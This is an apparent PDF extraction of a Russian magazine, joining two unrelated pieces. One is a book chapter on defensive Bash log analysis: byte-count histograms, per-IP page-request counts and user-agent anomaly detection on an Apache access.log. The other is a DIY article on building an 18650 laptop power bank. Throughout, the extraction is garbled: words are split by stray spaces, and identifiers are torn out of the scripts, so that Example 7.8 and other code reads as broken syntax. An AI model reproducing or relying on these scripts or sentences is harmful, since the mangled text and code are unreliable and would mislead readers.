зыва ет,  что  они  явля ются  мас сивами,  но  это  не  ассо циатив ные  мас сивы.
Это не обя затель ное тре бова ние, зато рекомен дуемая прак тика. Ана логич но
в сле дующей стро ке мы зада ем параметр   для объ явле ния этих перемен‐ 
ных  целыми  чис лами,  что  дела ет  их  более  эффектив ными,  чем  необъ‐ 
явленные перемен ные обо лоч ки (которые хра нят ся в виде строк). Пов торим‐ 
ся: как вид но из того, что мы не объ явля ем  , а прос то исполь зуем его,
это не обя затель ное тре бова ние.

<1> a

‐i

maxbar

  Пары  «ключ/зна чение»  хра нят ся  в  отдель ных  мас сивах,  но  в  одном
и  том же мес те индекса. Это ненадеж ный под ход — изме нения  в  сце нарии
в  какой‐то  момент  могут  при вес ти  к  тому,  что  два  мас сива  не  син хро низи‐ 
руют ся.

<2>

  Цикл  ,  в  отли чие  от  пре дыду щего  сце нария,  исполь зует ся
для прос того под сче та целых чисел от 0 до  . Здесь перемен ная   выс тупа‐ 
ет пре пятс тви ем для индекса в цик ле   внут ри сце нария  , нес мотря
на  то что внут ри фун кции мы дос таточ но акку рат но объ явля ем эту вер сию 
как локаль ную фун кцию. Вы доверя ете этой фун кции? Изме ните здесь   на 
и  про верь те,  работа ет  ли  цикл  (а  он  работа ет).  Затем  поп робуй те  уда лить
локаль ное объ явле ние и про верить, успешно ли завер шится цикл.

<3> for
ndx j

for pr_bar
i

j i

Та кой  под ход  с  дву мя  мас сивами  име ет  одно  пре иму щес тво.  Исполь зуя
чис ловой  индекс  для  хра нения  мет ки  и  дан ных,  мож но  получить  их  в  том
поряд ке, в котором они были про чита ны, — в чис ловом поряд ке индекса.

Те перь,  извле кая  соот ветс тву ющие  поля  из    и  перено ся
резуль таты в  , а затем — в  , мож но наг лядно уви деть,
какие хос ты переда ли наиболь шее количес тво бай тов:

access.log
summer.sh histogram.sh

 

 

 

$ cut ‐d' ' ‐f1,10 access.log | bash summer.sh | bash histogram.sh

 
 
 

 

192.168.0.36 ##################################################
192.168.0.37 #############################
192.168.0.11 #############################
192.168.0.14 ################################
192.168.0.26 #######

Хо тя  дан ный  под ход  может  показать ся  не  столь  эффектив ным  для  неболь‐ 
шого объ ема выбороч ных дан ных,  воз можность  визу али зации име ет неоце‐ 
нимое зна чение при рас смот рении более круп ных наборов дан ных.

По мимо количес тва бай тов, переда ваемых через IP‐адрес или хост, час то
инте рес но  прос мотреть  дан ные,  отсорти рован ные  по  дате  и  вре мени.
Для это го мож но исполь зовать сце нарий  , но из‐за фор мата фай ла

, преж де чем передать его в сце нарий, его нуж но допол нитель но
обра ботать.  Если  для  извле чения  передан ных  полей  с  датой/вре менем
и бай тов исполь зует ся коман да  , оста ются дан ные, которые могут выз вать
некото рые проб лемы для сце нария:

summer.sh
access.log

cut

 

 

 

$ cut ‐d' ' ‐f4,10 access.log

 
 

[12/Nov/2017:15:52:59 2377
[12/Nov/2017:15:52:59 4529
[12/Nov/2017:15:52:59 1112

Как вид но из это го вывода, необ работан ные дан ные начина ются с сим вола  .
Из‐за  него  в  сце нарии появ ляет ся  проб лема,  так  как он обоз нача ет  начало
мас сива в bash. Что бы эту проб лему устра нить, мож но исполь зовать допол‐ 
нитель ную  ите рацию  коман ды    с  парамет ром  ,  с  помощью  которо го
сим вол будет уда лен.

[

cut ‐c2

Этот  параметр  ука зыва ет  коман де    извле кать  дан ные  по  сим волам,
начиная с позиции 2 и перехо дя к кон цу стро ки ( ). Вот исправ ленный вывод
с уда лен ной квад ратной скоб кой:

cut
‐

 

 

 

$ cut ‐d' ' ‐f4,10 access.log | cut ‐c2‐

 
 

12/Nov/2017:15:52:59 2377
12/Nov/2017:15:52:59 4529
12/Nov/2017:15:52:59 1112

INFO

Вмес то  того  что бы  вто рой  раз  исполь зовать
коман ду  ,  мож но  добавить  коман ду  .
Параметр   уда ляет ука зан ный сим вол — в дан‐ 
ном слу чае квад ратную скоб ку.

cut tr
‐d

       cut ‐d' ' ‐f4,10 access.log | tr ‐d
'['

Не обхо димо  так же  опре делить  спо соб  груп пирова ния  дан ных,  свя зан ных
с датами: по дню, месяцу, году, часу и т. д. Для это го мож но прос то изме нить
параметр для вто рой ите рации коман ды  . В таб лице показа ны парамет ры
коман ды  ,  которые  исполь зуют ся  для  извле чения  раз личных  форм  поля
даты/вре мени.  Обра тите  вни мание,  что  эти  парамет ры  пред назна чены
для фай лов жур нала Apache.

cut
cut

Сце нарий   может быть осо бен но полезен при прос мотре дан‐ 
ных, свя зан ных с датами. Нап ример, если в орга низа ции име ется внут ренний
веб‐сер вер,  дос туп  к  которо му  осу щест вля ется  толь ко  в  рабочее  вре мя
с  09:00  до  17:00,  мож но  с  помощью  такой  гис тограм мы  ежед невно  прос‐ 
матри вать  файл  жур нала  сер вера,  что бы  про верить,  име ются  ли  всплес ки
активнос ти пос ле обыч ного рабоче го дня.

histogram.sh

Боль шие всплес ки активнос ти или переда ча дан ных вне обыч ного рабоче‐ 
го  вре мени  может  сви детель ство вать  об  эксфиль тра ции  со  сто роны  зло‐ 
умыш ленни ка. При обна руже нии каких‐либо ано малий мож но отфиль тро вать
дан ные по кон крет ной дате и вре мени и про верять дос туп к стра нице, что бы
опре делить, явля ется ли дей ствие вре донос ным.

Нап ример, если тре бует ся прос мотреть гис тограм му обще го объ ема дан‐ 
ных, получен ных в опре делен ный день за каж дый час, мож но выпол нить сле‐ 
дующую коман ду:

 

 

 

$ awk '$4 ~ "12/Nov/2017" {print $0}' access.log | cut ‐d' ' ‐f4,10 | 
cut ‐c14‐15,22‐ | bash summer.sh | bash histogram.sh

 
 
 

 

17 ##
16 ###########
15 ############
19 ##
18 ##################################################

Здесь файл    пересы лает ся  с  помощью  коман ды  awk  для  извле‐ 
чения записей с опре делен ной датой. Обра тите вни мание на исполь зование
вмес то сим волов   опе рато ра подобия ( ), пос коль ку поле 4 так же содер жит
информа цию  о  вре мени.  Эти  записи  переда ются  коман де    сна чала
для  извле чения  полей  даты/вре мени  и  передан ных  бай тов,  а  затем
для извле чения дан ных о вре мени. Пос ле это го с помощью сце нария 
 дан ные сум миру ются по вре мени (часам) и с помощью   пре‐ 

обра зуют ся  в  гис тограм му.  Резуль татом  ста новит ся  гис тограм ма,  которая
отоб ража ет  общее  количес тво  бай тов,  переда ваемых  каж дый  час  12  нояб‐ 
ря 2017 года.

access.log

== ~
cut

summer.
sh histogram.sh

INFO

Что бы  получить  вывод  в  чис ловом  поряд ке,
передай те его из сце нария гис тограм мы коман де

.  Зачем  нуж на  сор тиров ка?  Сце нарии
  и  ,  прос матри вая

спи сок индексов сво их ассо циатив ных мас сивов,
генери руют  свои  выход ные  дан ные.  Поэто му  их
вывод  вряд  ли  будет  осмыслен ным  (ско рее  дан‐ 
ные  будут  выведе ны  в  поряд ке,  опре деля емом
внут ренним  алго рит мом  хеширо вания).  Если
это  объ ясне ние  оста вило  вас  рав нодуш ными,
прос то про игно рируй те его и не забудь те исполь‐ 
зовать сор тиров ку на выходе.

sort  ‐n
summer.sh histogram.sh

Ес ли  вы  хотите,  что бы  вывод  был  упо рядо чен
по  объ ему  дан ных,  добавь те  сор тиров ку  меж ду
дву мя  сце нари ями.  Необ ходимо  так же  исполь‐ 
зовать    —  вер сию  сце‐ 
нария  гис тограм мы,  в  которой  не  при меня ются
ассо циатив ные мас сивы.

histogram_plain.sh

ПОИСК УНИКАЛЬНОСТИ В ДАННЫХ
Ра нее  IP‐адрес  192.168.0.37  был  иден тифици рован  как  сис тема,  которая
име ла  наиболь шее  количес тво  зап росов  стра ницы.  Сле дующий  логичес кий
воп рос:  какие стра ницы зап рашива ла эта сис тема? Отве тив на него, мож но
получить  пред став ление  о  том,  что  сис тема  делала  на  сер вере,  и  клас‐ 
сифици ровать это дей ствие как безопас ное, подоз ритель ное или вре донос‐ 
ное.  Для  это го  мож но  исполь зовать  коман ду    и    и  передать  вывод
в  :

awk cut
countem.sh

 

 

 

$ awk '$1 == "192.168.0.37" {print $0}' access.log | cut ‐d' ' ‐f7 | 
bash countem.sh | sort ‐rn | head ‐5
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14 /files/theme/mobile49c2.js?1490908488
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14 /files/main_styleaf0e.css?1509483497
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Хо тя  извле чение  и  обрезка  дан ных  могут  быть  реали зова ны  путем  кон вей‐ 
ерной переда чи команд и сце нари ев, для это го пот ребу ется переда вать дан‐ 
ные нес коль ко раз. Такой метод мож но при менить ко мно гим наборам дан‐ 
ных, но он не под ходит для очень боль ших наборов. Метод мож но опти мизи‐ 
ровать, написав сце нарий bash, спе циаль но раз работан ный для извле чения
и под сче та количес тва дос тупов к стра ницам, — для это го тре бует ся толь ко
один про ход дан ных. В при мере 7.8 показан такой сце нарий.

Пример 7.8. pagereq.sh
 declare ‐A cnt                                       # <1>

while read addr d1 d2 datim gmtoff getr page therest 
do

              cnt[ + 1   if [[ $1 == $addr ]] ; then let  $page] = ; fi
done

 for id in ${!cnt[@]}                                 # <2>
do

     printf "%8d %s\n" ${cnt[$id]} $id
done

  Мы  объ явля ем  cnt  как  ассо циатив ный  мас сив  и  в  качес тве  индекса
можем  исполь зовать  стро ку.  В  дан ной  прог рамме  в  качес тве  индекса  мы
будем исполь зовать адрес стра ницы (URL).

<1>

    выводит  спи сок  всех  зна чений  индекса,  которые  были
обна руже ны.  Обра тите  вни мание:  они  не  будут  перечис лены  в  удоб ном
поряд ке.

<2> ${!cnt[@]}

В ран них вер сиях bash ассо циатив ных мас сивов нет. Под счи тать количес‐ 
тво  раз личных  зап росов  стра ниц  с  опре делен ного  IP‐адре са  вы  можете
с помощью коман ды awk, потому что в ней есть ассо циатив ные мас сивы (при‐ 
мер 7.9).

Пример 7.9. pagereq.awk
# подсчитать количество запросов страниц с адреса ($1)

     awk ‐v page="$1" '{ if ($1==page) {cnt[$7]+=1 } } �
END { for (id in cnt) {                   # <1>
   printf "%8d %s\n", cnt[id], id        # <2>
 }
}'

 В этой стро ке есть две перемен ные  , раз ница меж ду которы ми очень
боль шая. Пер вая перемен ная   явля ется перемен ной обо лоч ки и ссы лает ся
на пер вый аргу мент, пре дос тавлен ный это му сце нарию при его вызове. Вто‐ 
рая  перемен ная   —  это  .  В  каж дой  стро ке  эта  перемен ная  отно сит ся
к пер вому полю вво да. Пер вая перемен ная    была  наз начена перемен ной

,  что бы  ее мож но  было  срав нить  с  каж дой  перемен ной    (с
каж дым пер вым полем вход ных дан ных).

<1> $1
$1

$1 awk
$1

page awk $1 awk

 Прос той син таксис при водит к  тому, что перемен ная   переби рает
зна чения индекса в мас сиве  . Это гораз до более прос той син таксис, чем
син таксис обо лоч ки  , но такой же эффектив ный.

<2> id
cnt

${!cnt[@]}
Мож но  запус тить  сце нарий  ,  ука зав  IP‐адрес,  который  тре‐ 

бует ся най ти и перенап равить   в качес тве вход ных дан ных:
pagereq.sh

access.log

 

 

 

$ bash pagereq.sh 192.168.0.37 < access.log | sort ‐rn | head ‐5
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ВЫЯВЛЕНИЕ АНОМАЛИЙ В ДАННЫХ
В  Интерне те    пред став ляет  собой  неболь‐ 
шой фраг мент тек сто вой информа ции, отправ ляемый бра узе ром на веб‐сер‐ 
вер, который иден тифици рует опе раци онную сис тему кли ента, тип бра узе ра,
вер сию  и  дру гую  информа цию.  Обыч но  исполь зует ся  веб‐сер верами
для  обес печения  сов мести мос ти  стра ниц  с  бра узе ром  поль зовате ля.  Вот
при мер такой стро ки:

стро ка  аген та  поль зовате ля

 x64Mozilla/5.0 (Windows NT 6.3; Win64; ; rv:59.0) Gecko/20100101 
Firefox/59.0 

Эта стро ка иден тифици рует сис тему как Windows NT вер сии 6.3 (она же Win‐
dows 8.1) с 64‐раз рядной архи тек турой и с бра узе ром Firefox. Стро ка аген та
поль зовате ля может нас заин тересо вать по двум при чинам. Во‐пер вых, зна‐ 
читель ный  объ ем  информа ции,  которую  эта  стро ка  переда ет,  мож но  при‐ 
менять для иден тифика ции типов сис тем и бра узе ров, обра щающих ся к сер‐ 
веру. Во‐вто рых, эта стро ка нас тра ивает ся конеч ным поль зовате лем и может
быть исполь зована для иден тифика ции сис тем, в которых не уста нов лен стан‐ 
дар тный бра узер или вооб ще нет бра узе ра (поис ковых роботов, web crawler).

Вы  можете  опре делить  необыч ные  поль зователь ские  аген ты,  пред‐ 
варитель но  сос тавив  спи сок  извес тных  безопас ных  поль зователь ских  аген‐ 
тов. Для  это го  упражне ния мы исполь зуем очень малень кий спи сок бра узе‐ 
ров,  которые  не  явля ются  спе цифич ными  для  кон крет ной  вер сии  (при‐ 
мер 7.10).

Пример 7.10. useragents.txt
Firefox 
Chrome 
Safari 
Edge 

WWW

•Спи сок популяр ных поль зователь ских аген тов

За тем  вы  можете  про читать  жур нал  веб‐сер вера  и  срав нить  каж дую  стро ку
со спис ком популяр ных поль зователь ских аген тов (бра узе ров), пока не будет
получе но  сов падение.  Если  сов падения  не  будет,  стро ка  дол жна  рас смат‐ 
ривать ся как ано малия и печатать ся в стан дар тном выводе вмес те с IP‐адре‐ 
сом сис темы, выпол няющей зап рос. Такое срав нение дает нам допол нитель‐ 
ную  информа цию,  свя зан ную  с  рас смат рива емы ми  дан ными,  —  с  ее
помощью  мы  смо жем  иден тифици ровать  сис тему  с  необыч ным  поль‐ 
зователь ским аген том и получим еще один путь для даль нейше го изу чения.

Пример 7.11. useragents.sh
# несовпадение — поиск по массиву известных имен
# возвращает 1 (false), если совпадение найдено
# возвращает 0 (true), если совпадений нет
function mismatch ()                                  # <1>
{
   local ‐i i                                          # <2>
    0  i++for ((i= ; i<$KNSIZE; ))
 do
        ~ . .      [[ "$1" = *${KNOWN[$i]} * ]] && return 1        # <3>
 done

0  return 
}
readarray ‐t KNOWN < "useragents.txt"                 # <4>
KNSIZE=${#KNOWN[@]}                                   # <5>
# предварительная обработка лог‐файла (stdin),
# чтобы выбрать IP‐адреса и пользовательские агенты

     | awk ‐F'"' '{print $1, $6}' \
while read ipaddr dash1 dash2 dtstamp delta useragent # <6>
do
 if mismatch "$useragent"
 then

    echo "anomaly: $ipaddr $useragent"
 fi
done

  Сце нарий будет  осно ван  на фун кции  несов падения.  Если  обна ружит ся
несо ответс твие, будет воз вра щено успешное зна чение (или true). Это зна чит,
что сов падение со спис ком извес тных поль зователь ских аген тов не най дено.
Дан ная логика может показать ся нес тандар тной, но так удоб нее читать опе‐ 
ратор  , содер жащий вызов  .

<1>

if mismatch
 Объ явле ние нашего цик ла   в  качес тве локаль ной перемен ной —

хорошая идея. Дан ный шаг в сце нарии не явля ется обя затель ным.
<2> for

  Здесь  пред став лены  две  стро ки  для  срав нения:  вход ные  дан ные
из фай ла  жур нала  и  стро ка  из  спис ка  извес тных  поль зователь ских  аген тов.
Для  гиб кого  срав нения  исполь зует ся  опе ратор  срав нения  регуляр ных
выраже ний  ( ).  Зна чение    (ноль  или  более  вхож дений  любого  сим вола),
раз мещен ное  по  обе  сто роны  ссыл ки  мас сива  ,  говорит  о  том,  что
сов падение  извес тной  стро ки  может  быть  най дено  в  любом  мес те  дру гой
стро ки.

<3>

=~ .*
$KNOWN

  Каж дая  стро ка фай ла  добав ляет ся  как  эле мент  к  ука зан ному  име ни
мас сива. Это дает нам мас сив извес тных поль зователь ских аген тов. В bash
сущес тву ет  два  спо соба  добавить  стро ки  к  мас сиву:  исполь зовать  либо

,  как  сде лано  в  этом  при мере,  либо  .  Опция    уда ляет
завер шающий  сим вол  новой  стро ки  из  каж дой  про читан ной  стро ки.  Здесь
ука зан  файл,  содер жащий  спи сок  извес тных  поль зователь ских  аген тов;
при необ ходимос ти его мож но изме нить.

<4>

readarray mapfile ‐t

  Здесь  вычис ляет ся  раз мер  мас сива.  Получен ное  зна чение  исполь‐ 
зует ся  внут ри  фун кции    для  цик личес кого  перебо ра  мас сива.  Вне
нашего цик ла мы вычис ляем его один раз, что бы при каж дом вызове фун кции
избе жать пов торно го вычис ления.

<5>

mismatch

  Вход ная  стро ка  пред став ляет  собой  слож ное  сочета ние  слов
и  кавычек.  Что бы  зах ватить  стро ку  аген та  поль зовате ля,  в  качес тве  раз‐ 
делите ля  полей  мы  ука зыва ем  двой ные  кавыч ки.  Одна ко  это  озна чает,  что
наше пер вое поле содер жит боль ше чем прос то IP‐адрес. Исполь зуя коман ду

  для  получе ния  IP‐адре са, мы можем про ана лизи ровать  про белы. Пос‐ 
ледний аргу мент   при нима ет все оставши еся сло ва, что бы мож но было
зах ватить все сло ва стро ки поль зователь ско го аген та.

<6>

read
read

При  запус ке  сце нария    будут  выведе ны  любые  стро ки
поль зователь ско го аген та, не най ден ные в фай ле  :

useragents.sh
useragents.txt

 

 

 

$ bash useragents.sh < access.log

 
 
 
 

 

anomaly: 192.168.0.36 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)
anomaly: 192.168.0.36 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)
anomaly: 192.168.0.36 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)
anomaly: 192.168.0.36 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)
...
anomaly: 192.168.0.36 Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)

ВЫВОДЫ
В  этой  гла ве  мы  рас смот рели  методы  ста тис тичес кого  ана лиза  для  выяв‐ 
ления необыч ной и ано маль ной активнос ти в фай лах жур налов. Такой ана лиз
даст вам пред став ление о  том,  что про исхо дило ранее. В сле дующей  гла ве
мы рас смот рим, как ана лизи ровать фай лы жур налов и дру гие дан ные, что бы
понять, что про исхо дит в сис теме в режиме реаль ного вре мени.

https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/histogram.sh
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/histogram_plain.sh
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/pagereq.sh
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/pagereq.awk
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/useragents.txt
http://bit.ly/2WugjXl
https://github.com/cybersecurityops/cyber-ops-with-bash/blob/master/ch07/useragents.sh


ГАЛЬВАНИЧЕСКАЯ

БАНКА

ДЕЛАЕМ 
ДЛЯ НОУТБУКА
В ДОМАШНИХ УСЛОВИЯХ

POWER BANK

Hackcat
Еще больше котов — на
https://t.me/meawdream
hackcat.dev@gmail.com

GEEK

Пор татив ные  внеш ние  акку муля торы,  или  «повер банки»,
как их кли чут в народе, хороши всем, кро ме выход ной мощ‐ 
ности,  к  тому  же  они  не  могут  заряжать  ноут буки  без  USB
Type‐C и Power Delivery. При ходит ся тас кать с собой заряд‐ 
ное  устрой ство,  а  то  и  смен ный  акку муля тор.  Меня  это  не
устро ило, так что я решил сде лать «бан ку» помощ нее. А коль
уж мощ ность поз воля ет — пусть и телефо ны заряжа ет! Сей‐ 
час  я  рас ска жу,  как  пов торить  это  незамыс ловатое  устрой‐ 
ство.

Я — счас тли вый обла датель ноут бука Asus серии K53, который под наг рузкой
куша ет поряд ка 70 Вт. Сле дова тель но, про вод с триг гером быс трой заряд ки
на  12  В  и  пла та‐повышай ка  с  «Али экс прес са»  тут  не  помогут  —  быс трая
заряд ка Quick Charge 3.0 выда ет мак симум 12 В / 1,5 А (18 Вт) минус потери
из‐за не 100%‐го КПД пре обра зова теля. Более мощ ную «бан ку» с Power De‐
livery я покупать не хочу. Ком плект смен ных акку муля торов не вари ант, ноут бук
с заряд ным и так весит боль ше 3 кг.

Ко роче, я у мамы инже нер, недав но при шел новень кий паяль ник с «Али»,
в  ящи ке  валя ется  мешок  банок  18650,  и  как  раз  при еха ли  пла ты  BMS
и понижа ющий модуль. Решено было собирать свой акку муля тор, что я и сде‐ 
лал, пос вятив это му занятию три сво бод ных вечера.

ТРЕБОВАНИЯ
Крат ко обри сую тре бова ния, которые я предъ являл к сво ей самодел ке.
1. За ряд ка  от  штат ного  ноут бучно го  БП.  Через  Micro‐USB  заряжать  такой
емкий  акку муля тор  —  мазохизм,  кабеля  Type‐C  в  доме  нет  ни  одно го,
а делать отдель ный заряд ник спе циаль но для сво ей самодел ки не кошер‐ 
но, хочет ся иметь воз можность зарядить ся от чего угод но. 220‐воль товое
гнез до  тре бует  доволь но  габарит ной  схе мы  пониже ния  и  вып рямле ния,
которая  к  тому  же  нуж дает ся  в  охлажде нии  даже  при  исполь зовании
импуль сно го  тран сфор матора. Поэто му  на  вход будет  стан дар тное  гнез‐ 
до  5,5  ×  2,5  мм,  куда  мож но  вста вить  любой  заряд ник  с  нап ряжени ем
от 13 до 32 В.

2. Боль шая  емкость  для  про дол житель ной  авто ном ной  работы.  Тас кать
с собой уве сис тую шту ку, которая сядет через минут двад цать, — удо воль‐ 
ствие  пос редс твен ное.  Если  уж  делать,  то  делать  доволь но  емкий,  чтоб
потом не бегать гла зами вок руг в поис ках розет ки.

3. Вы ход — стан дар тный ште кер 5,5 × 2,5 мм. Само собой, если ты решишь
пов торить  эту  самодел ку  и  у  тебя  дру гой  разъ ем —  его  лег ко  заменить
любым дру гим.

4. Кноп ка‐вык лючатель, для удобс тва и что бы не рас ходовать заряд батареи
током холос того хода выход ного пре обра зова теля и инди като рами.

5. USB‐выход с под дер жкой быс трой заряд ки для смар тфо на.
6. Вы сокая выход ная мощ ность для нор маль ной заряд ки ноут бука.
7. По  воз можнос ти  —  регули руемое  выход ное  нап ряжение  для  без болез‐ 
ненной перес трой ки под дру гой ноут бук при необ ходимос ти.

МАТЕРИАЛЫ
Здесь все стан дар тно для такого рода гад жетов. Собс твен но акку муля тор ные
ячей ки, пла та BMS, вход ной понижа ющий и выход ной повыша ющий пре обра‐ 
зова тели,  кон трол лер  быс трой  заряд ки  для  USB‐выхода  и  рас ходни ки
для кор пуса.

С  акку муля тора ми  тоже  все  тра дици онно:  литий‐ион ные  ячей ки  типораз‐ 
мера  18650  проч но  засели  в  арсе нале  самодель щиков  и  позиции  сда вать
не  собира ются.  Они  емкие,  удоб ны  для  соз дания  батарей,  отно ситель но
недоро ги, и их мож но за копей ки (а то и бес плат но) наб рать в сер вис‐цен трах
из дох лых ноут бучных батарей. Емкость в таком слу чае оставля ет желать луч‐ 
шего,  но  зато  это  край не  дос тупный  вари ант  для  деревен ских  нищеб родов
вро де меня.

Пла та  BMS  (Battery Management  System)  нуж на  всег да,  если  пос ледова‐ 
тель но соеди няет ся боль ше одной ячей ки. Дело в том, что даже про изве ден‐ 
ные  в  одной  пар тии  акку муля торы  име ют  слег ка  раз личные  харак терис тики,
в  час тнос ти  —  емкость.  При  пос ледова тель ном  соеди нении  яче ек  раз ной
емкости они будут раз ряжать ся нерав номер но, то есть минимум одна ячей ка
уйдет  в  перераз ряд.  А,  как  ты  зна ешь,  перераз ряд  для  лити евых  банок  —
это не прос то пло хо, а очень пло хо.

Об ратное  про изой дет  при  заряд ке  такой  батареи:  менее  емкие  ячей ки
зарядят ся  быс трее,  и  даль нейшая  заряд ка  при ведет  к  некон тро лиру емой
реак ции  горения,  в  прос тонародье  зовущей ся  взры вом.  Горящие  лити евые
акку муля торы,  рас кидыва ющие  вок руг  кус ки  адско го  неуга симо го  пла мени,
конеч но,  выг лядят  кра сиво,  но  это  небезо пас но,  так  что  давай  не  будем
доводить их до такого сос тояния, а прос то вос поль зуем ся BMS.

Гра мот ные BMS име ют  в  сос таве балан сиров щик  яче ек и  схе му  защиты,
которая  отклю чит  батарею  в  слу чае  перег рузки,  переза ряда  или  перераз‐ 
ряда,  и  сто ят  при  этом  все го  пару  бак сов.  Впро чем,  силь но  эко номить
на  защите  не  сле дует,  так  что  перед  покуп кой  все  же  почитай  отзы вы.
Попада лись  пла ты,  в  которых  заяв ленный  балан сиров щик  не  работал
или вооб ще отсутс тво вал.

По нижа ющий  DC‐DC‐кон вертер  по  вхо ду  нужен  для  получе ния  ста биль‐ 
ного  рабоче го  нап ряжения  заряд ки  акку муля торов  из  неиз вес тно го  (хоть
и заведо мо более высоко го) вход ного. Его важ ные осо бен ности — наличие
хоть неболь шого ради ато ра,  так  как вся вход ная мощ ность будет про ходить
через него, и, опци ональ но, при сутс твие огра ничи теля по току, что бы с ходу
не  убить  пре обра зова тель  мощ ным  током  при  заряд ке  в  ноль  сев ших  акку‐ 
муля торов.

Вы ход ной DC‐DC‐пре обра зова тель — это то, на чем я решил сэконо мить,
и горь ко об этом пожалел, но об этом чуть поз же. Его задача — обес печить
тре буемое ста биль ное выход ное нап ряжение из нап ряжения нашей батареи.
В иде але он дол жен иметь защиту от корот ких замыка ний и перег рузки, что бы
потом не думать, чем его заменить. Ну и хоть неболь шой ради атор, по опы ту,
точ но не пов редит.

Быс трая заряд ка — отдель ная тема. Как ты зна ешь, она исполь зует линии
дан ных  в  USB,  что бы  устрой ство  мог ло  догово рить ся  с  заряд ником  о  нап‐ 
ряжении  и  токе  заряд ки.  Стан дарт  прос той,  и  ты  можешь  даже  сам  реали‐ 
зовать заряд ное с его под дер жкой, если руки рас тут из нуж ного мес та. Но для
меня было дешев ле и про ще купить готовую пла ту с кон трол лером, бонусом
получил под дер жку не толь ко Quick Charge 3.0, но и пол дюжины дру гих про‐ 
токо лов.

Стан дарты быс трой заряд ки
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На Хаб ре была хорошая 
  в  сво их целях.  Там же опи сан

про токол, что поможет тебе соз дать соот ветс тву‐ 
ющее спе цифи кации заряд ное устрой ство самос‐ 
тоятель но.

статья об исполь зовании
умных заряд ников

Рас ходни ки есть в гараже у любого ува жающе го себя тех наря. Это гнез да 5,5
× 2,5, про вода, при пой, орг стек ло или плас тик, кноп ка, диоды и вся кое такое.

У гнез да, как ты пом нишь, три кон такта: один внут ренний (+) и два внеш них
(–). Внеш ние я соеди нил перемыч кой для сни жения наг рузки. Если не хочешь
проб лем, тебе сто ит сде лать так же.

СХЕМА
Есть два силь но раз ных вари анта. В одном мы получим online UPS с двой ным
пре обра зова нием  и  защитой  от  пло хого  питания  на  вхо де,  а  во  вто ром —
прос то ава рий ный источник питания в парал лель с основным. Естес твен но, я
выб рал пер вый. Обе схе мы пред став лены на рисун ках ниже.

Online UPS

Ре зер вный источник питания

Раз ница этих двух  схем,  как  видишь,  толь ко  в  пря мой свя зи меж ду  вход ным
и  выход ным  разъ ема ми,  но  эта  раз ница  нак ладыва ет  доволь но  ощу тимые
огра ниче ния,  которые  вынуди ли  меня  отка зать ся  от  исполь зования  вто рой
схе мы.

Во‐пер вых, при одновре мен ной заряд ке и исполь зовании нашей «бан ки»
нап ряжение  источни ка  питания  дол жно  быть  рав но  тре буемо му  выход ному.
При заряд ке толь ко сво его ноут бука и толь ко его штат ной или сов мести мой
заряд кой  это  не  ста новит ся  проб лемой,  но  у меня  в  доме  четыре  ноут бука,
у  трех  из  которых  раз ные  вход ные  нап ряжения  от  16  до  19,5  В.  Раз бежка
может  показать ся  нек ритич ной,  но  уже  от  18  В  (тре бует ся  19)  мой  Asus
заряжать ся отка зал ся.

Во‐вто рых,  без  диода  меж ду  вхо дом  и  выходом  выход ное  нап ряжение
будет  попадать  и  на  вход ное  гнез до,  а  это  нехоро шо,  так  как  вклю чит ся
на  заряд ку  понижа ющий  пре обра зова тель,  который  будет  впус тую  тра тить
дра гоцен ный  заряд.  С  диодом  мы  получим  падение  нап ряжения
минимум  0,3–0,4  В,  даже  при  исполь зовании  диодов Шот тки.  С  обыч ными
диода ми все еще хуже, и нап ряжение на выходе может упасть ниже нуж ного
для ноут бука.

При  этом  у  схе мы  с  объ еди нен ным  вхо дом  и  выходом  есть  одно  зна‐ 
читель ное  пре иму щес тво,  которое  вынуди ло  меня  упо мянуть  ее  здесь.
При  раз ряжен ных  акку муля торах  нашей  самодел ки  их  заряд ка  будет  пот‐ 
реблять  зна читель ную  мощ ность,  при  этом  пот ребле ние  ноут бука  пред ска‐ 
зать  невоз можно.  В  таком  слу чае  сум марная  мощ ность,  тре буемая
для заряд ки собс твен ных батарей и питания под клю чен ного ноут бука, может
пре высить  допус тимую  для  вход ного  понижа юще го  пре обра зова теля.
Перемыч ка меж ду  вхо дом  и  выходом  здо рово  улуч шит  дело,  ведь  основная
мощ ность пой дет через нее пря мо от заряд ного в ноут бук, а через пре обра‐ 
зова тель будет про ходить толь ко мощ ность, тре буемая для заряд ки акку муля‐ 
торов, которую к тому же мож но огра ничить на самом пре обра зова теле.

В  даль нейшем  я  буду  опи сывать  толь ко  схе му  без  перемыч ки.  Если  ты
чита ешь эту статью — два про вода, оче вид но, смо жешь при паять сам.

ГДЕ ВЗЯТЬ КОМПЛЕКТУЮЩИЕ?
Ко неч но, у себя в ящи ке с элек трон ным хла мом! Или у деда на рын ке. Имен но
там мож но за бес ценок най ти орг стек ло или лис товой плас тик, диоды, перек‐ 
лючатель, про вода на любой вкус, а иног да и акку муля торы (впро чем, обыч но
толь ко кис лотно‐свин цовые, но это уже детали).

Пла ту BMS, кон трол лер быс трой заряд ки и DC‐DC‐пре обра зова тели луч‐ 
ше  взять  в  Китае:  сум марно  это  обой дет ся  в  5–7  бак сов,  зато  изба вит
от голов ной боли и откро вен ного кол хоза с самопаль ными пре обра зова теля‐ 
ми,  а  пла ты  будут  выг лядеть  по‐взрос лому  и  опрятно.  Впро чем,  некото рые
китай ские кон верте ры мож но и нуж но про качать перед исполь зовани ем. Гуг‐ 
ли неч то вро де «xl4005e1 доработ ка», что бы най ти под робную инс трук цию.
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Де тали, которые брал я:
;•ин дикатор уров ня заряд ки

, 
;

•по нижа ющий  DC‐DC‐пре обра зова тель еще
один неп лохой вари ант

;•мо дуль быс трой заряд ки
;•BMS 3S 25A

;•по выша ющий DC‐DCпре обра зова тель
 (  и  ).•ак кумуля торы 18650 еще еще (Samsung)

Вот тут все‐таки не сто ит сле по пов торять за мной, потому что выход ной DC‐
DC‐кон вертер я взял низ кокачес твен ный, без хороше го охлажде ния он быс‐ 
тро перег рева ется. И мощ ность, конеч но, заяв ленной не сов сем соот ветс тву‐ 
